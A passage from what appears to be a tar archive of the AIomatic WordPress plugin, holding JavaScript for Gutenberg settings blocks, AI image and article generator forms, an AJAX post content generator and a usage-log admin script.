type:'color', value: input_text_color, onChange: updateMessage37, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Input Placeholder Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the placeholder color for the input field. Default is #333333' ) ), gcel( 'input', { type:'color', value: input_placeholder_color, onChange: updateMessage38, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Persona Name Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the persona name color for the input field. Default is #000000' ) ), gcel( 'input', { type:'color', value: persona_name_color, onChange: updateMessage39, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Persona Role Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the persona role color for the input field. Default is #000000' ) ), gcel( 'input', { type:'color', value: persona_role_color, onChange: updateMessage40, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Submit Button Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the color of the submit button. Default is #55a7e2' ) ), gcel( 'input', { type:'color', value: submit_color, onChange: updateMessage30, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Submit Button Text Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the text color of the submit button. Default is #55a7e2' ) ), gcel( 'input', { type:'color', value: submit_text_color, onChange: updateMessage31, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Voice Button Color: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the color of the voice button. Default is #55a7e2' ) ), gcel( 'input', { type:'color', value: voice_color, onChange: updateMessage41, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Voice Button Color Activated: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the color of the voice button when activated. Default is #55a7e2' ) ), gcel( 'input', { type:'color', value: voice_color_activated, onChange: updateMessage42, className: 'coderevolution_gutenberg_input' } ) ); }), save: (function( props ) { return null; }), } );�����������������������������������������������������������������������������������������������scripts/aiomatic-image-generator.js�����������������������������������������������������������������0000644�����������������00000020202�14757771437�0013445 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-image-generator', { title: 'AIomatic Image Generator Form', icon: 'text', category: 'embed', attributes: { image_size : { default: '1024x1024', type: 'string', }, image_model : { default: 'dalle2', type: 'string', }, user_token_cap_per_day : { default: '', type: 'string', }, prompt_templates : { default: '', type: 'string', }, prompt_editable : { default: '', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var image_size = props.attributes.image_size; var user_token_cap_per_day = props.attributes.user_token_cap_per_day; var prompt_templates = props.attributes.prompt_templates; var prompt_editable = props.attributes.prompt_editable; var image_model = props.attributes.image_model; function updateMessage( event ) { props.setAttributes( { image_size: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { user_token_cap_per_day: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { prompt_templates: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { prompt_editable: event.target.value} ); } function updateMessage9( event ) { props.setAttributes( { image_model: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic GPT-3 Image Generator Form ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate AI images.' ) ) ), gcel( 'br' ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the image size for AI generated images.' ) ), gcel( 'select', { value: image_size, onChange: updateMessage, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'default'}, 'default' ), gcel( 'option', { value: '1024x1024'}, '1024x1024' ), gcel( 'option', { value: '512x512'}, '512x512 (only for Dall-E 2)' ), gcel( 'option', { value: '256x256'}, '256x256 (only for Dall-E 2)' ), gcel( 'option', { value: '1024x1792'}, '1024x1792 (only for Dall-E 3)' ), gcel( 'option', { value: '1792x1024'}, '1792x1024 (only for Dall-E 3)' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Model: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the image model to use. Note that for Dall-E 3 models, only the 1024x1024 or larger image sizes are supported, while for the Dall-E 2 model, 1024x1024 or smaller sizes are supported.' ) ), gcel( 'select', { value: image_model, onChange: updateMessage9, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'dalle2'}, 'Dall-E 2' ), gcel( 'option', { value: 'dalle3'}, 'Dall-E 3' ), gcel( 'option', { value: 'dalle3hd'}, 'Dall-E 3 HD' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Daily Token Count for Logged In Users: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Daily token count for users', value: user_token_cap_per_day, onChange: updateMessage6, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Templates (Semicolon Separated): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one.' ) ), gcel( 'input', { type:'text',placeholder:'Template1;Template2;Template3', value: prompt_templates, onChange: updateMessage7, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Editable: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select wheather the prompt will be editable by users. This is useful when combined with prompt templates from above, when you don\'t want the users to edit the entered template.' ) ), gcel( 'select', { value: prompt_editable, onChange: updateMessage8, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'yes'}, 'yes' ), gcel( 'option', { value: 'no'}, 'no' ) ), ); }), save: (function( props ) { return null; }), } );����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/ai-post-creator.js��������������������������������������������������������������������������0000644�����������������00000030244�14757771437�0011633 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; function assistantSelected(checkID, disableClass) { if(jQuery('#' + checkID).val() == '') { jQuery('.' + disableClass).find('option').removeAttr('disabled'); } else { jQuery('.' + disableClass).find('option').attr('disabled', 'disabled'); } } jQuery(document).ready(function ($) { if( $('#aiomatic_show_more').length ) { $('#aiomatic_show_more').on('click', function(){ if(jQuery('.aiomatic_toggle_me').is(":visible")) { jQuery(".aiomatic_toggle_me").hide(); } else { jQuery(".aiomatic_toggle_me").show(); } }); } if( $('#aiomatic_ai_content_generator').length ) { var aiomatic_ai_content_generator_btn = $('#aiomatic_ai_content_generator'); } else { console.log('aiomatic_ai_content_generator button not found'); return; } function aiomatic_ShowError(msg){ console.log(msg); } function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length) { btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } function aiomaticGetContent(editorId) { var editor = tinyMCE.get(editorId); if (editor) { var edc = editor.getContent(); if(edc == '') { var quicktagsInput = jQuery("#" + editorId); if (quicktagsInput.length) { edc = quicktagsInput.val(); } } return edc; } else { if( jQuery('#' . editorId).length ) { return jQuery('#' + editorId).val(); } else { return ''; } } } function aiomaticSetContent(editorId, content) { var editor = tinyMCE.get(editorId); if (editor) { var curcont = editor.getContent(); if(curcont == '') { var quicktagsInput = jQuery("#" + editorId); if (quicktagsInput.length) { curcont = quicktagsInput.val(); } } editor.setContent(curcont + ' ' + content); } else { var curcont = $('#' + editorId).val(); jQuery('#' + editorId).val(curcont + ' ' + content); } } function aiomaticProductGenerator(title, step, steps) { var aiomatic_next_step = step+1; var aiomatic_step = steps[step]; if( $('#aiomatic_ai_model').length ) { var model = $('#aiomatic_ai_model').val(); } else { var model = 'gpt-4o-mini'; } if( $('#aiomatic_ai_assistant_id').length ) { var assistant_id = $('#aiomatic_ai_assistant_id').val(); } else { var assistant_id = ''; } if( $('#aiomatic_title_prompt').length ) { var titlep = $('#aiomatic_title_prompt').val(); } else { var titlep = ''; } if( $('#aiomatic_seo_prompt').length ) { var seop = $('#aiomatic_seo_prompt').val(); } else { var seop = ''; } if( $('#aiomatic_content_prompt').length ) { var contentp = $('#aiomatic_content_prompt').val(); } else { var contentp = ''; } if( $('#aiomatic_short_prompt').length ) { var shortp = $('#aiomatic_short_prompt').val(); } else { var shortp = ''; } if( $('#aiomatic_tag_prompt').length ) { var tagp = $('#aiomatic_tag_prompt').val(); } else { var tagp = ''; } if( $('#post_type').length ) { var post_type = $('#post_type').val(); } else { var post_type = ''; } if( $('#post_ID').length ) { var post_id = $('#post_ID').val(); } else { var post_id = ''; } if( $('#title').length ) { var prod_title = $('#title').val(); } else { var prod_title = ''; } var prod_content = aiomaticGetContent('content'); var prod_excerpt = aiomaticGetContent('excerpt'); var data = {'action': 'aiomatic_write_aicontent_info', 'model': model, 'assistant_id': assistant_id, 'titlep': titlep, 'seop': seop, 'contentp': contentp, 'shortp': shortp, 'tagp': tagp, 'step': aiomatic_step, 'title' : title, 'post_id': post_id, 'post_type': post_type, 'prod_title': prod_title, 'prod_content': prod_content, 'prod_excerpt': prod_excerpt, 'nonce': aiomatic_creator_object.nonce} if(aiomatic_step === 'title') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_title); } } if(aiomatic_step === 'meta') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_meta); } } if(aiomatic_step === 'description') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_content); } } if(aiomatic_step === 'short') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_excerpt); } } if(aiomatic_step === 'tags') { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_tags); } } $.ajax({ url: aiomatic_creator_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.success == true) { if(aiomatic_step === 'title') { if( $('#title').length ) { $('#title').val(res.data.content); $('#title').removeAttr('placeholder'); } if( $('#title-prompt-text').length ) { $('#title-prompt-text').hide(); } } if(aiomatic_step === 'description') { aiomaticSetContent('content', res.data.content); } if(aiomatic_step === 'short') { aiomaticSetContent('excerpt', res.data.content); } if(aiomatic_step === 'tags') { if( $('#new-tag-' + post_type + '_tag').length ) { var curtag = $('#new-tag-' + post_type + '_tag').val(); $('#new-tag-' + post_type + '_tag').val(curtag + " " + res.data.content); } } if(aiomatic_next_step === steps.length) { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.generating_done); } aiomaticRmLoading(aiomatic_ai_content_generator_btn); } else { aiomaticProductGenerator(title, aiomatic_next_step, steps); } } else { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.error_occurred + "!"); } aiomatic_ShowError(aiomatic_creator_object.error_occurred + " " + JSON.stringify(res)); aiomaticRmLoading(aiomatic_ai_content_generator_btn); } }, error: function () { if( $('#ai-generator-status').length ) { $('#ai-generator-status').html(aiomatic_creator_object.error_occurred); } aiomatic_ShowError(aiomatic_creator_object.error_occurred); aiomaticRmLoading(aiomatic_ai_content_generator_btn); } }); } aiomatic_ai_content_generator_btn.on('click', function () { if( $('#aiomatic_original_title').length ) { var aiomatic_title = $('#aiomatic_original_title').val(); } else { var aiomatic_title = ''; } if( $('#title').length ) { var aicontent_title = $('#title').val(); } else { var aicontent_title = ''; } if(aiomatic_title == '') { aiomatic_title = aicontent_title; } if( $('#aiomatic_generate_title').length ) { var aiomatic_generate_title = $('#aiomatic_generate_title').prop('checked') ? 1 : 0; } else { var aiomatic_generate_title = 0; } if( $('#aiomatic_generate_description').length ) { var aiomatic_generate_description = $('#aiomatic_generate_description').prop('checked') ? 1 : 0; } else { var aiomatic_generate_description = 0; } if( $('#aiomatic_generate_meta').length ) { var aiomatic_generate_meta = $('#aiomatic_generate_meta').prop('checked') ? 1 : 0; } else { var aiomatic_generate_meta = 0; } if( $('#aiomatic_generate_short').length ) { var aiomatic_generate_short = $('#aiomatic_generate_short').prop('checked') ? 1 : 0; } else { var aiomatic_generate_short = 0; } if( $('#aiomatic_generate_tags').length ) { var aiomatic_generate_tags = $('#aiomatic_generate_tags').prop('checked') ? 1 : 0; } else { var aiomatic_generate_tags = 0; } var aiomaticSteps = []; if(aiomatic_generate_title) { aiomaticSteps.push('title'); } if(aiomatic_generate_meta) { aiomaticSteps.push('meta'); } if(aiomatic_generate_description) { aiomaticSteps.push('description'); } if(aiomatic_generate_short) { aiomaticSteps.push('short'); } if(aiomatic_generate_tags) { aiomaticSteps.push('tags'); } if(aiomatic_title === '') { alert(aiomatic_creator_object.no_title) } else if(!aiomaticSteps.length) { alert(aiomatic_creator_object.no_step) } else { aiomaticLoading(aiomatic_ai_content_generator_btn); aiomaticProductGenerator(aiomatic_title, 0, aiomaticSteps); } }); });������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-midjourney-image-generator.js������������������������������������������������������0000644�����������������00000014646�14757771437�0015647 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-midjourney-image-generator', { title: 'AIomatic Midjourney Image Generator Form', icon: 'text', category: 'embed', attributes: { image_size : { default: '1024x1024', type: 'string', }, user_token_cap_per_day : { default: '', type: 'string', }, prompt_templates : { default: '', type: 'string', }, prompt_editable : { default: '', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var image_size = props.attributes.image_size; var user_token_cap_per_day = props.attributes.user_token_cap_per_day; var prompt_templates = props.attributes.prompt_templates; var prompt_editable = props.attributes.prompt_editable; function updateMessage( event ) { props.setAttributes( { image_size: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { user_token_cap_per_day: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { prompt_templates: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { prompt_editable: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Midjourney Image Generator Form ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate AI images.' ) ) ), gcel( 'br' ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Image Size: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select the image size for AI generated images.' ) ), gcel( 'select', { value: image_size, onChange: updateMessage, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'default'}, 'default' ), gcel( 'option', { value: '1024x1024'}, '1024x1024' ), gcel( 'option', { value: '512x512'}, '512x512' ), gcel( 'option', { value: '1024x1792'}, '1024x1792' ), gcel( 'option', { value: '1792x1024'}, '1792x1024' ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Daily Token Count for Logged In Users: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set the daily token count for logged in users. Users who are not logged in will not be allowed to submit the form. To disable this feature, leave this field blank.' ) ), gcel( 'input', { type:'number',min:0,placeholder:'Daily token count for users', value: user_token_cap_per_day, onChange: updateMessage6, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Templates (Semicolon Separated): ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Add a semicolon (;) separated list of prompt templates from which the users will be able to select and submit one.' ) ), gcel( 'input', { type:'text',placeholder:'Template1;Template2;Template3', value: prompt_templates, onChange: updateMessage7, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Editable: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Select wheather the prompt will be editable by users. This is useful when combined with prompt templates from above, when you don\'t want the users to edit the entered template.' ) ), gcel( 'select', { value: prompt_editable, onChange: updateMessage8, className: 'coderevolution_gutenberg_select' }, gcel( 'option', { value: 'yes'}, 'yes' ), gcel( 'option', { value: 'no'}, 'no' ) ), ); }), save: (function( props ) { return null; }), } );������������������������������������������������������������������������������������������scripts/stats.js������������������������������������������������������������������������������������0000644�����������������00000015076�14757771437�0007766 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; jQuery(document).ready(function(){ function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } jQuery('#aiomatic_delete_logs').on('click', function (){ var data = { action: 'aiomatic_delete_logs', nonce: aiomatic_object.nonce }; var aiomatic_file_button = jQuery('#aiomatic_delete_logs'); var aiomatic_delete_user_logs = jQuery('#aiomatic_delete_user_logs'); jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading(aiomatic_file_button); aiomaticLoading(aiomatic_delete_user_logs); }, success: function (res){ if(res.status === 'success'){ alert('Usage logs cleared successfully.'); window.location.reload(); } else{ alert(res.msg); aiomaticRmLoading(aiomatic_file_button); aiomaticRmLoading(aiomatic_delete_user_logs); } }, error: function (r, s, error){ alert('Error in deleting data: ' + error); aiomaticRmLoading(aiomatic_file_button); aiomaticRmLoading(aiomatic_delete_user_logs); } }); }); jQuery('#aiomatic_delete_user_logs').on('click', function (){ var delfor = jQuery('#user_name_delete').val(); if(delfor == '') { alert('You need to enter a user name for which the plugin will delete usage logs.'); } else { var data = { action: 'aiomatic_delete_user_logs', delfor: delfor, nonce: aiomatic_object.nonce }; var aiomatic_file_button = jQuery('#aiomatic_delete_logs'); var aiomatic_delete_user_logs = jQuery('#aiomatic_delete_user_logs'); jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading(aiomatic_file_button); aiomaticLoading(aiomatic_delete_user_logs); }, success: function (res){ if(res.status === 'success'){ alert('Usage logs cleared successfully.'); window.location.reload(); } else{ alert(res.msg); aiomaticRmLoading(aiomatic_file_button); aiomaticRmLoading(aiomatic_delete_user_logs); } }, error: function (r, s, error){ alert('Error in deleting data: ' + error); aiomaticRmLoading(aiomatic_file_button); aiomaticRmLoading(aiomatic_delete_user_logs); } }); } }); jQuery(document).ready(function(){ jQuery('span.wpaiomatic-delete').on('click', function(){ var confirm_delete = confirm('Delete This Rule?'); if (confirm_delete) { jQuery(this).parent().parent().remove(); jQuery('#myForm').submit(); } }); }); function revealRec(){document.getElementById("diviIdrec").innerHTML = '<br/>We recommend that you check <b><a href="https://www.elegantthemes.com/affiliates/idevaffiliate.php?id=50837_5_1_16" target="_blank">Divi theme</a></b>, by <b><a href="https://www.elegantthemes.com/affiliates/idevaffiliate.php?id=50837_1_1_3" target="_blank">ElegantThemes</a></b>! It is easy to configure and it looks gorgeous. Check it out now!<br/><br/><a href="https://www.elegantthemes.com/affiliates/idevaffiliate.php?id=50837_5_1_19" target="_blank" rel="nofollow"><img style="border:0px" src="https://3.bp.blogspot.com/-h9TLQozNO6Q/W92Sk80zwjI/AAAAAAAAAjg/JC8sFWAUPzseR4nnjhVNbRQmCnr1ZMu4gCLcBGAs/s1600/divi.jpg" width="468" height="60" alt="Divi WordPress Theme"></a>';} var codemodalfzr = document.getElementById('mymodalfzr'); var btn = document.getElementById("mybtnfzr"); var span = document.getElementById("aiomatic_close"); var ok = document.getElementById("aiomatic_ok"); if(btn != null) { btn.onclick = function() { codemodalfzr.style.display = "block"; } } if(span != null) { span.onclick = function() { codemodalfzr.style.display = "none"; } } if(ok != null) { ok.onclick = function() { codemodalfzr.style.display = "none"; } } window.onclick = function(event) { if (event.target == codemodalfzr) { codemodalfzr.style.display = "none"; } } }); function limitsChanged() { limitsTextChanged(); if(jQuery('#enable_limits').is(":checked")) { jQuery(".hideLimits").show(); } else { jQuery(".hideLimits").hide(); } } function limitsTextChanged() { if(jQuery('#enable_limits_text').is(":checked")) { jQuery(".hideTextLimits").show(); } else { jQuery(".hideTextLimits").hide(); } } function aiomaticCreateAdmin(i) { var modals = []; var btns = []; var spans = []; var oks = []; var btns = []; var myarr = []; modals = document.getElementById("mymodalfzr" + i); btns = document.getElementById("mybtnfzr" + i); spans = document.getElementById("aiomatic_close" + i); oks = document.getElementById("aiomatic_ok" + i); btns.onclick = function(e) { modals.style.display = "block"; } spans.onclick = function(e) { modals.style.display = "none"; } oks.onclick = function(e) { modals.style.display = "none"; } modals.addEventListener("click", function(e) { if (e.target !== this) return; modals.style.display = "none"; }, false); } window.onload = limitsChanged;������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������scripts/aiomatic-article.js�������������������������������������������������������������������������0000644�����������������00000056355�14757771437�0012044 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;;;"use strict"; var { registerBlockType } = wp.blocks; var gcel = wp.element.createElement; var editing_options = ''; if (Array.isArray(aiomatic_object.models)) { aiomatic_object.models.forEach(element => { editing_options += '<option value="' + element + '">' + element + '</option>'; }); } else if (typeof aiomatic_object.models === 'object' && aiomatic_object.models !== null) { Object.entries(aiomatic_object.models).forEach(([key, value]) => { editing_options += '<option value="' + key + '">' + value + '</option>'; }); } registerBlockType( 'aiomatic-automatic-ai-content-writer/aiomatic-article', { title: 'AIomatic Article', icon: 'text', category: 'embed', attributes: { seed_expre : { default: '', type: 'string', }, temperature : { default: '1', type: 'string', }, top_p : { default: '1', type: 'string', }, presence_penalty : { default: '0', type: 'string', }, frequency_penalty : { default: '0', type: 'string', }, min_char : { default: '0', type: 'string', }, max_tokens : { default: '2048', type: 'string', }, max_seed_tokens : { default: '500', type: 'string', }, max_continue_tokens : { default: '500', type: 'string', }, model : { default: 'gpt-4o-mini', type: 'string', }, assistant_id : { default: '', type: 'string', }, headings_model : { default: 'gpt-4o-mini', type: 'string', }, headings : { default: '', type: 'string', }, images : { default: '', type: 'string', }, videos : { default: '', type: 'string', }, cache_seconds : { default: '2592000', type: 'string', }, no_internet : { default: '0', type: 'string', }, headings_ai_command : { default: 'Write %%needed_heading_count%% PAA related questions, each on a new line, for the title: %%post_title%%', type: 'string', } }, keywords: ['list', 'posts', 'aiomatic'], edit: (function( props ) { var seed_expre = props.attributes.seed_expre; var temperature = props.attributes.temperature; var top_p = props.attributes.top_p; var presence_penalty = props.attributes.presence_penalty; var frequency_penalty = props.attributes.frequency_penalty; var min_char = props.attributes.min_char; var max_tokens = props.attributes.max_tokens; var max_seed_tokens = props.attributes.max_seed_tokens; var max_continue_tokens = props.attributes.max_continue_tokens; var model = props.attributes.model; var headings_model = props.attributes.headings_model; var headings = props.attributes.headings; var images = props.attributes.images; var videos = props.attributes.videos; var cache_seconds = props.attributes.cache_seconds; var no_internet = props.attributes.no_internet; var headings_ai_command = props.attributes.headings_ai_command; var assistant_id = props.attributes.assistant_id; function updateMessage( event ) { props.setAttributes( { temperature: event.target.value} ); } function updateMessage2( event ) { props.setAttributes( { seed_expre: event.target.value} ); } function updateMessage3( event ) { props.setAttributes( { top_p: event.target.value} ); } function updateMessage4( event ) { props.setAttributes( { presence_penalty: event.target.value} ); } function updateMessage5( event ) { props.setAttributes( { frequency_penalty: event.target.value} ); } function updateMessage6( event ) { props.setAttributes( { min_char: event.target.value} ); } function updateMessage7( event ) { props.setAttributes( { max_tokens: event.target.value} ); } function updateMessage8( event ) { props.setAttributes( { max_seed_tokens: event.target.value} ); } function updateMessage9( event ) { props.setAttributes( { max_continue_tokens: event.target.value} ); } function updateMessage10( event ) { props.setAttributes( { model: event.target.value} ); } function updateMessage11( event ) { props.setAttributes( { headings: event.target.value} ); } function updateMessage12( event ) { props.setAttributes( { images: event.target.value} ); } function updateMessage13( event ) { props.setAttributes( { videos: event.target.value} ); } function updateMessage14( event ) { props.setAttributes( { cache_seconds: event.target.value} ); } function updateMessage15( event ) { props.setAttributes( { headings_model: event.target.value} ); } function updateMessage16( event ) { props.setAttributes( { headings_ai_command: event.target.value} ); } function updateMessage17( event ) { props.setAttributes( { no_internet: event.target.value} ); } function updateMessage18( event ) { props.setAttributes( { assistant_id: event.target.value} ); } return gcel( 'div', { className: 'coderevolution_gutenberg_div' }, gcel( 'h4', { className: 'coderevolution_gutenberg_title' }, 'AIomatic Article ', gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'This block is used to generate AI written articles.' ) ) ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'Prompt Expression: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'Set a prompt expression for the article. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it\'s assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command. If you leave this blank, the plugin will automatically use the content, excerpt or title of the post where this block is added.' ) ), gcel( 'textarea', { rows:1,placeholder:'Short introduction of the article', value: seed_expre, onChange: updateMessage2, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Temperature: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.' ) ), gcel( 'input', { type:'number',min:0,step:0.1,placeholder:'AI Temperature', value: temperature, onChange: updateMessage, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Top_p: ' ), gcel( 'div', {className:'bws_help_box bws_help_box_right dashicons dashicons-editor-help'} , gcel( 'div', {className:'bws_hidden_help_text'}, 'An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.' ) ), gcel( 'input', { type:'number',min:0,max:1,step:0.1,placeholder:'AI Top_p', value: top_p, onChange: updateMessage3, className: 'coderevolution_gutenberg_input' } ), gcel( 'br' ), gcel( 'label', { className: 'coderevolution_gutenberg_label' }, 'AI Presence Penalty: ' ), gcel( 'div', 